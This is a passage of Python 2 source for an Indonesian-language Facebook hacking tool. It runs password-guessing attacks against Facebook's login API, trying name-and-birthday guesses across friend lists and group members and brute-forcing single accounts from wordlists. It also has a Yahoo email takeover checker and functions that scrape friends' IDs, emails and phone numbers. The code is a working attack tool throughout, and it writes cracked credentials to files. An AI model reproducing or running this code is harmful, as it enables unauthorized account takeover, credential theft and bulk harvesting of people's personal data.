'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ 